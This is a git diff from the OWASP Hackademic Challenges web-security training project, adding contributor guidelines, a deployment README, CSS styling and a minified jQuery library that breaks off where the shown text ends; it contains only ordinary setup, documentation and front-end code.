diff --git a/.gitignoreOld b/.gitignoreOld deleted file mode 100755 index 8db970f4..00000000 --- a/.gitignoreOld +++ /dev/null @@ -1,3 +0,0 @@ -config.inc.php -view/compiled_view/ -cache/ \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100755 index 00000000..ac9edfc3 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,116 @@ +Tips for developers +------------------- + +Hackademic is a young project, however, it's gaining momentum fast. If you are interested in contributing you should follow some basic guidelines. + +* The latest development version is the `next-dev` branch, you should check it out and make all your pull requests there. +* We would really appreciate it if your new features came with unit tests. If you don't know how ask us. +* Tests: + * New features should come with php-unit or Selenium (or better both) unit tests testing that the feature works as expected. + * All the code should pass the existing unit tests before merging. +* Coding - Style: + * Every commit shouldn't generate any errors with PHP_CodeSniffer (to fix most errors you can use PHP Coding Standards Fixer). +* Coding - Standards: + * We try to conform to the PSR-* coding standards any new code, preferably including challenges should be compliant. +* Commits: Clean commits make it easy to review code, also commits that do only one thing are easier to manage bug-wise. So: + * One commit should fix one problem or introduce one feature only, please don't commit fixes all around the place. + * Only what you modified goes in the commit (for instance you shouldn't commit vim/project files or anything unrelated). + * The commit message should explain what you did briefly. + * Every commit should merge with `next-dev` without conflicts (rebase often). +* Pull Requests: + * All pull requests should be for the `next-dev` branch. + * In case you found an important bug in a previous version and you think people running the version should get the fix then issue a pull request for that specific version (it should still merge without any conflicts though). + + +Translations +------------ +We're using gettext for translations coupled with the apropriate smarty plugin. +If you'd like to provide a tanslation you can look at the locale directory under your desired language. +The project's language is changed either on install or by setting the correct value in the config file. + +For devs: +Handy tutorial on gettext: +`http://www.sitepoint.com/localizing-php-applications-1/` + +The smarty plugin: +`https://github.com/smarty-gettext/smarty-gettext` + +2 line instructions: +The settings are loaded in the master controller, +In the templates include whatever you want to be translated in {}. + + +How to create a challenge +------------------------- + +Hackademic challenges are simple websites or web applications that simulate a vulnerability. +In our current version we use regular expressions to check if the provided string is correct. +In order to initialize your challenge you need to include the following. + +```php +include_once dirname(__FILE__).'/../../init.php'; +session_start(); +require_once(HACKADEMIC_PATH."pages/challenge_monitor.php"); +$monitor->update(CHALLENGE_INIT, $_GET); +$_SESSION['init'] = true; +``` + +Then in order to register a success you call +```php +$monitor->update(CHALLENGE_SUCCESS, $_GET); +``` +and for a failure +```php +$monitor->update(CHALLENGE_FAILURE, $_GET); +``` + + +Packaging Challenges +----------------------------- + +In order to package a challenge you have to create an XML file named after the challenge. The `.xml` file should have the structure found here: +`https://github.com/Hackademic/hackademic/blob/next/challenges/Example/example.xml` + +Then you package everything in a zip file and ship it. + + +Frontend testing Documentation and how to create a test +------------------------------------------------------- + +We use phpunit and Selenium webDriver with Facebook's php bindings to create functional tests. + +We've included everything as a composer dependency so you only need to download composer and run +``` +composer install +``` +in order to fetch the dependencies. + + +Running tests +------------- + +To run the tests you first need to start the remote webdriver server. +For convenience a reasonably recent server executable is included with the project. +You can start the server by running: +``` +java -jar selenium-server-standalone-2.45.0.jar +``` +from the tests directory. +This will start a local webdriver server that listens on localhost and port 4444. +Then you execute tests by running: +``` +vendor/bin/phpunit +``` + + +Writing your own tests: +----------------------- + +To write your own tests you can check `/admin/model/AddUserControllerTest.php` for an example a `BaseTest` class with some helper functions is provided. + +0. Test for normal behavior first +1. Test if it generates all the erros second +3. Identify the edge cases and write tests for them +4. In order to get a unique css path for the element you want to click you can inspect it in Firefox or Chrome and right-click on the element and select Copy CSS Path +5. Cleanup after your test, `tearDown()` exists for that reason too. +6. Each class should test one feature. E.g. `AddUserTest` should test if a user can be added sucessfully. diff --git a/README b/README deleted file mode 100755 index e16badfe..00000000 --- a/README +++ /dev/null @@ -1 +0,0 @@ -Hackademic CMS diff --git a/README.md b/README.md new file mode 100755 index 00000000..c256bb59 --- /dev/null +++ b/README.md @@ -0,0 +1,97 @@ +[![Project Status: Active - The project has reached a stable, usable state and is being actively developed.](http://www.repostatus.org/badges/0.1.0/active.svg)](http://www.repostatus.org/#active) + +OWASP Hackademic Challenges project +=================================== + +The **OWASP Hackademic Challenge** project helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. + +The latest stable version is in `next` branch, the development version is in `next-dev`. + + +Description +----------- + +The Hackademic challenges implement realistic scenarios with known vulnerabilities in a safe, controllable environment. Users can attempt to discover and exploit these vulnerabilities in order to learn important concepts of information security through the attacker's perspective. + +Currently, there are 10 scenarios available. + +You can choose to start from the one that you find most appealing, although we suggest to follow the order presented on the first page. We intend to expand the available challenges with additional scenarios that involve cryptography and even vulnerable systems implemented in downloadable virtual machines. + + + + +Deployment +---------- + +Dependencies of Hackademic involve a web server (Apache, nginx) with PHP and Mysql/MariaDB connected with it. Make sure you have installed these before you start deploying Hackademic. We recommand to use Apache with MySQL. See [Digital Ocean's website](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu) for a good tutorial under Ubunt. See [WampServer](http://www.wampserver.com/en/) to set up the environnement under Windows. + +Clone Hackademic project, + +`git clone https://github.com/Hackademic/hackademic.git` + +After successful cloning of the Hackademic project, copy the contents into `/var/www` +We need to change the permissions of the file now, + +`sudo chmod -R 765 hackademic` + +Ensure that the Apache is started and SQL connection is also active. Point your browser towards `http://127.0.0.1/` +You will be prompted with Hackademic page. In case you have many sub-directories in `/var/www/`, the browser would throw up all the directories. +Choose hackademic from that. + +Now you will be prompted to Hackademic installation page. +Be sure to fill out all the fields. + +1. Administrator Details + + Fill any email id, username and password. + You will using this username and password, later to log in to hackademic. + +2. Database Settings + + Fill the database name, database host, database username and password. + +3. Configuration Settings + + All the fields are preloaded with information. Go to next level. + +4. Finish + + On finish, you should get a success message. Open the URL it suggests. + You should be able to log in. + + +After finish stage if you got a error + +*Parse error: syntax error, unexpected '[' in /var/www/hackademic/model/common/class.ChallengeAttempts.php on line 363']'* + +update the version of PHP you are using. Hackademic uses 5.4+. + + + +Road Map and Getting Involved +----------------------------- + +We maintain an up to date list of open issues on the platform on our [issues](https://github.com/Hackademic/hackademic/issues) + +For a list of features we would like implemented you can see either the issues page or our [Google Summer Of Code ideas page](https://www.owasp.org/index.php/GSoC2013_Ideas#OWASP_Hackademic_Challenges_-_New_challenges_and_Improvements_to_the_existing_ones) + +Involvement in the development and promotion of the Hackademic Challenges is actively encouraged! +You do not have to be a security expert in order to contribute. +Some of the ways you can help: + +* Write Documentation +* Write Unit tests +* Develop themes and plugins +* Write Challenges or Articles or contribute security courses + +Please see [CONTRIBUTING.md](CONTRIBUTING.md) for installation guidelines and other developer-oriented explanations. + +We are also experimenting with a trello board [here](https://trello.com/b/Y6oHvP3P/hakcademic-roadmap) + +Contact Us +---------- + +Feel free to connect with us over `#hackademic-dev` channel on Freenode. +We also run a mailing list which is `owasp-hackademic-challenges@lists.owasp.org` +that you can join [here](https://lists.owasp.org/mailman/listinfo/owasp-hackademic-challenges). +You can also check out the slack discussion on the owasp slack channel [here](https://owasp.slack.com/messages/project-hackademic/) diff --git a/admin/assets/css/base.css b/admin/assets/css/base.css index 3e3b681f..cc23cf4e 100755 --- a/admin/assets/css/base.css +++ b/admin/assets/css/base.css @@ -93,7 +93,7 @@ body {height:95%;} .add_form {width:90%; margin: auto;} .width_auto {width: auto;} -.width_100 {width: 100;} +.width_100 {width: 100%;} .width_90 {width: 90%;} .width_50 {width: 50%;} .width_40 {width: 40%;} diff --git a/admin/assets/css/nestable.css b/admin/assets/css/nestable.css new file mode 100755 index 00000000..d0920d52 --- /dev/null +++ b/admin/assets/css/nestable.css @@ -0,0 +1,234 @@ +.dd { + display: block; + font-size: 13px; + line-height: 20px; + list-style: none outside none; + margin: 0; + max-width: 600px; + padding: 0; + position: relative; +} +.dd-list { + display: block; + list-style: none outside none; + margin: 0; + padding: 0; + position: relative; +} +.dd-list .dd-list { + padding-left: 30px; +} +.dd-collapsed .dd-list { + display: none; +} +.dd-item, .dd-empty, .dd-placeholder { + display: block; + font-size: 13px; + line-height: 20px; + margin: 0; + min-height: 20px; + padding: 0; + position: relative; +} +.dd-handle { + background: #F4F4F4; + background: -moz-linear-gradient(center top , #FAFAFA 0%, #EEEEEE 100%) repeat scroll 0 0 transparent; + border: 1px solid #CCCCCC; + border-radius: 3px 3px 3px 3px; + color: #333333; + display: block; + font-weight: bold; + height: 24px; + margin: 5px 0; + padding: 7px 10px; + text-decoration: none; +} +.dd-handle:hover { + background: none repeat scroll 0 0 #FFFFFF; + color: #2EA8E5; +} +.dd-item > button { + background: none repeat scroll 0 0 transparent; + border: 0 none; + cursor: pointer; + display: block; + float: left; + font-size: 12px; + font-weight: bold; + height: 20px; + line-height: 1; + margin: 5px 0; + overflow: hidden; + padding: 0; + position: relative; + text-align: center; + text-indent: 100%; + white-space: nowrap; + width: 25px; +} +.dd-item > button:before { + content: "+"; + display: block; + position: absolute; + text-align: center; + text-indent: 0; + width: 100%; +} +.dd-item > button[data-action="collapse"]:before { + content: "-"; +} +.dd-placeholder, .dd-empty { + -moz-box-sizing: border-box; + background: none repeat scroll 0 0 #F2FBFF; + border: 1px dashed #B6BCBF; + margin: 5px 0; + min-height: 30px; + padding: 0; +} +.dd-empty { + background-color: #E5E5E5; + background-image: linear-gradient(45deg, #FFFFFF 25%, transparent 25%, transparent 75%, #FFFFFF 75%, #FFFFFF), linear-gradient(45deg, #FFFFFF 25%, transparent 25%, transparent 75%, #FFFFFF 75%, #FFFFFF); + background-position: 0 0px, 30px 30px; + background-size: 60px 60px; + border: 1px dashed #BBBBBB; + min-height: 100px; +} +.dd-dragel { + pointer-events: none; + position: absolute; + z-index: 9999; +} +.dd-dragel > .dd-item .dd-handle { + margin-top: 0; +} +.dd-dragel .dd-handle { + box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); +} +.nestable-lists { + -moz-border-bottom-colors: none; + -moz-border-left-colors: none; + -moz-border-right-colors: none; + -moz-border-top-colors: none; + border-color: #DDDDDD -moz-use-text-color; + border-image: none; + border-left: 0 none; + border-right: 0 none; + border-style: solid none; + border-width: 2px 0; + clear: both; + display: block; + padding: 30px 0; + width: 100%; +} +#nestable-menu { + margin: 20px 0; + padding: 0; +} +#nestable-output, #nestable2-output { + -moz-box-sizing: border-box; + font-family: Consolas,monospace; + font-size: 0.75em; + height: 7em; + line-height: 1.33333em; + padding: 5px; + width: 100%; +} +#nestable2 .dd-handle { + background: -moz-linear-gradient(center top , #BBBBBB 0%, #999999 100%) repeat scroll 0 0 transparent; + border: 1px solid #999999; + color: #FFFFFF; +} +#nestable2 .dd-handle:hover { + background: none repeat scroll 0 0 #BBBBBB; +} +#nestable2 .dd-item > button:before { + color: #FFFFFF; +} +.dd { + float: left; + width: 100%; +} +.dd + .dd { + margin-left: 2%; +} +.dd-hover > .dd-handle { + background: none repeat scroll 0 0 #2EA8E5 !important; +} +.dd3-content { + -moz-box-sizing: border-box; + background: -moz-linear-gradient(center top , #FAFAFA 0%, #EEEEEE 100%) repeat scroll 0 0 transparent; + border: 1px solid #CCCCCC; + border-radius: 3px 3px 3px 3px; + color: #333333; + display: block; + font-weight: bold; + height: 30px; + margin: 5px 0; + padding: 5px 10px 5px 40px; + text-decoration: none; +} +.dd3-content:hover { + background: none repeat scroll 0 0 #FFFFFF; + color: #2EA8E5; +} +.dd-dragel > .dd3-item > .dd3-content { + margin: 0; +} +.dd3-item > button { + margin-left: 30px; +} +.dd3-handle { + background: #F4F4F4; + background: -moz-linear-gradient(center top , #DDDDDD 0%, #BBBBBB 100%) repeat scroll 0 0 transparent; + border: 1px solid #AAAAAA; + border-bottom-right-radius: 0; + border-top-right-radius: 0; + cursor: pointer; + left: 0; + margin: 0; + overflow: hidden; + position: absolute; + text-indent: 100%; + top: 0; + white-space: nowrap; + width: 30px; +} +.dd3-handle:before { + color: #FFFFFF; + content: "≡"; + display: block; + font-size: 20px; + font-weight: normal; + left: 0; + position: absolute; + text-align: center; + text-indent: 0; + top: 3px; + width: 100%; +} +.dd3-handle:hover { + background: none repeat scroll 0 0 #DDDDDD; +} + +.dd-sort { + position: absolute; + right: 4px; + top: 8px; + width: 40%; +} + +.dd-sort select.parent, +.dd-sort select.sort { + margin: 0; + padding: 2px; + box-shadow: none; + background: #FFF; +} + +.dd-sort select.parent { + width: 70%; +} + +.dd-sort select.sort { + width: 25%; +} \ No newline at end of file diff --git a/admin/assets/css/style.css b/admin/assets/css/style.css index 476179e9..d926345b 100755 --- a/admin/assets/css/style.css +++ b/admin/assets/css/style.css @@ -36,9 +36,51 @@ img {border:none;} margin-right:auto; width:80%; } -#menuHeader {margin-left: -30px; display: block;} -#mainMenu ul {list-style:none; font-family: 'Cuprum', arial, serif; } -#mainMenu li {display: inline; border-right:1px solid #dcddde;} + +#menuHeader { + margin-left: -30px; + display: block; +} + +#mainMenu ul { + font-family: 'Cuprum', arial, serif; + list-style: none; +} + +#mainMenu li { + border-right: 1px solid #dcddde; + display: inline; + position: relative; +} + +#mainMenu li > ul { + display: none; +} + +#mainMenu li:hover > ul { + background: #FFF; + border: 1px solid #ccc; + border-radius: 4px; + display: block; + left: -1px; + padding: 0; + position: absolute; + top: 28px; + width: 200px; +} + +#mainMenu li > ul > li { + border: none; + display: block; + margin: 0; + padding: 0; + white-space: nowrap; +} + +#mainMenu li > ul > li > a { + display: block; +} + #mainMenu a { color:#282434; text-decoration: none; @@ -48,16 +90,19 @@ img {border:none;} font-size:13px; font-weight:bold; } + #mainMenu a.first:hover { -moz-border-radius-topleft:6px; -webkit-border-top-left-radius:6px; border-top-left-radius: 6px; -} +} + #mainMenu a:hover { background-color:#dde0e4; background: -moz-linear-gradient(100% 100% 90deg, #ffffff, #dde0e4); background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#dde0e4), to(#ffffff)); } + #mainMenu a:active { background-color:#f3f4f6; background: -moz-linear-gradient(100% 100% 90deg, #dde0e4, #ffffff); @@ -136,3 +181,67 @@ img {border:none;} text-decoration: none; color: white; } + +.options_form { + width: 90%; + margin: 0 auto; +} + +.options_form h4 { + margin-left: 10px; +} + +.options_form h5 { + margin-top: 0px; +} + +.options_form .form_section { + border-bottom: 3px solid #f4f4f4; + margin: 10px; + clear: both; + overflow: hidden; +} + +.options_form .form_section p { + font-size: 12px; +} + +#input_form.options_form .form_section input { + width: auto; +} + +.options_form .plugin_information { + width: 90%; + float: left; +} + +.options_form .form_item { + width: 5%; + float: left; + overflow: hidden; +} + +#menumanager-form > div > div { + overflow: hidden; + margin: 0 auto; +} + +#menumanager-form #button-wrapper { + width: 185px; +} + +#menumanager-form #option-wrapper select { + float: left; +} + +#menumanager-form #option-wrapper p { + float: left; + margin: 0 0 0 1em; +} + +#menumanager-form #option-wrapper, +#menumanager-form #item-wrapper { + width: 455px; +} + + diff --git a/admin/assets/js/jquery-1.10.2.min.js b/admin/assets/js/jquery-1.10.2.min.js new file mode 100755 index 00000000..29b3a2c7 --- /dev/null +++ b/admin/assets/js/jquery-1.10.2.min.js @@ -0,0 +1,6 @@ +/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license +//@ sourceMappingURL=jquery.min.map +*/ +(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,N=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2])return r.find(e);this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(x.support.ownLast)for(n in e)return v.call(e,n);for(n in e);return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r)x.access(e,n,l,r[l],!0,a,s)}else if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)));return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.promise=function(t){if(!n)if(n=x.Deferred(),"complete"===a.readyState)setTimeout(x.ready);else if(a.addEventListener)a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1);else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace(3,8)+")*)|.*)\\)|)",z=RegExp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P+"*"),U=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\]'\"]*)"+P+"*\\]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")"),CLASS:RegExp("^\\.("+R+")"),TAG:RegExp("^("+R.replace("w","w*")+")"),ATTR:RegExp("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|))"+P+"*\\)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+P+"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e)return n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])return M.apply(n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName)return M.apply(n,t.getElementsByClassName(s)),n}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n+=" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t=+t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="
